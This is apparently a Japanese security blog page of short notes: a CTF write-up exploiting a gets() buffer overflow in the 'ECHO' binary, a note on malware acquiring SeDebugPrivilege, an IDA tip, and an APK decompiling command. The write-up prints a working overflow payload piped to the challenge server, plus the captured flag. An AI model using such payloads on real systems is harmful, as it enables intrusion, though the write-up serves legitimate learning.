問題へのリンク: https://backdoor.sdslabs.co/challenges/ECHO

"echo"は32bitのELFファイルでユーザーの入力を標準出力に出力するシンプルなプログラム。

$ nc hack.bckdr.in 12001
hello
ECHO: hello

ファイルを眺めてみるとtest関数 (アドレス: 0x080485D8) と sample関数 (アドレス: 0x0804856B)という2つの関数がある。
test関数はユーザーの入力をgets関数で読み取って、標準出力に出力する関数。
sample関数は"flag.txt"というファイルの内容を読み出す関数。

test関数内で呼び出されているgets関数にはバッファオーバーフローの脆弱性がある。
なので、test関数内のgets関数をバッファオーバーフローさせて、sample関数に制御を渡せば"flag.txt"の内容を読み出せる。

gets関数のバッファサイズを確認してみる。

.text:080485E1 8D 45 C6 lea eax, [ebp+var_3A]
.text:080485E4 50 push eax
.text:080485E5 E8 F6 FD FF FF call _gets


上記より、gets関数のバッファサイズは0x3A、10進数で58バイトであることがわかる。
よって、test関数に渡すFlag奪取のためのペイロードは以下の構成になる。

[バッファサイズ 58バイト] + [EBPポインタのサイズ 4バイト] + [sample関数のアドレス 4バイト]


これをpythonで書くと以下のようになる。(※アドレスはリトルエンディアン)

python -c 'print "a"*62 + "\x6B\x85\x04\x08"'


対象のプログラムはリモートーサーバーにホストされているので、上記のpythonコマンドにncコマンドをパイプせる。

$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001


実行結果:

$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001
ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak�
96f674623c2c378f89700aa46f02cf3b311489f0facdfac6fd5885d4bc1a129a

Flagは 96f674623c2c378f89700aa46f02cf3b311489f0facdfac6fd5885d4bc1a129a

以上。
SeDebugPrivilege特権は、本来はシステムのデバッグ目的で利用される権限レベルだが、マルウェアが権限昇格のために悪用することもある。
マルウェアはAdjustTokenPrivileges関数を利用してSeDebugPrivilege特権を取得することができる。

access tokenとは
access tokenとはプロセスやスレッドのセキュリティに関する様々な情報を含んでいるオブジェクトであり、その中にはプロセスの権限レベルの情報も含まれている。
access token内の情報はAdjustTokenPrivileges関数によって変更することができる。

SeDebugPrivilege特権取得の大まかな流れ
1. OpenProcessToken関数によってaccess tokenを取得。
2. LookupPrivilegeValueA関数によってSeDebugPrivilegeのLUID (Locally Unique Identifier)を取得。
3. 1と2で取得した値をAdjustTokenPrivileges関数に渡して権限レベルを変更し、SeDebugPrivilege特権を取得する。


上記のような流れでOpenProcessToken、LookupPrivilegeValueA、AdjustTokenPrivilegesの3つの関数がマルウェア内で呼び出されている場合は、何らかの権限昇格を試みている可能性が高い。

以上。
IDAの使い方に関するメモ
随時更新予定

IDAのショートカットキーの一覧はここ

MORE »

関数のコード内にargで始まるデータや正数が定義されているデータがあるか確認する。(関数の引数へのアクセスはEBPにオフセットを加算することによって行われる)

.text:00402A20 downloadFile_402A20 proc near
.text:00402A20
.text:00402A20 var_60= dword ptr -60h
.text:00402A20 dwExceptionCode= dword ptr -44h
.text:00402A20 var_28= dword ptr -28h
.text:00402A20 var_24= dword ptr -24h
.text:00402A20 hObject= dword ptr -20h
.text:00402A20 NumberOfBytesWritten= dword ptr -1Ch
.text:00402A20 var_18= dword ptr -18h
.text:00402A20 lpMem= dword ptr -14h
.text:00402A20 var_10= dword ptr -10h
.text:00402A20 var_C= dword ptr -0Ch
.text:00402A20 var_4= dword ptr -4
.text:00402A20 arg_0= dword ptr 8
.text:00402A20 hostshort= word ptr 0Ch
.text:00402A20 lpFileName= dword ptr 10h


上記の関数は3つの引数を受け取る。

関数の呼び出し部分を確認するとpush命令が3回呼び出されて引数が3つ関数に渡さているのが確認できる。


.text:00402C2E 52 push edx ; lpFileName
.text:00402C2F 05 48 01 00 00 add eax, 148h
.text:00402C34 51 push ecx ; int
.text:00402C35 50 push eax ; int

.text:00402C36 8B CE mov ecx, esi
.text:00402C38 E8 E3 FD FF FF call downloadFile_402A20


以上。
1. APKファイルをJARファイルに変換する
d2j-dex2jar -f -o out.jar sample.apk

2. 1.で作成されたJARファイルをJD-GUIで開く

以上。

 | HOME |  »

奇妙な風景 Unique Scene
<< >>

プロフィール


最新記事


最新コメント


最新トラックバック


月別アーカイブ


カテゴリ


スポンサード リンク


FC2カウンター


検索フォーム


RSSリンクの表示


リンク


ブロとも申請フォーム


QRコード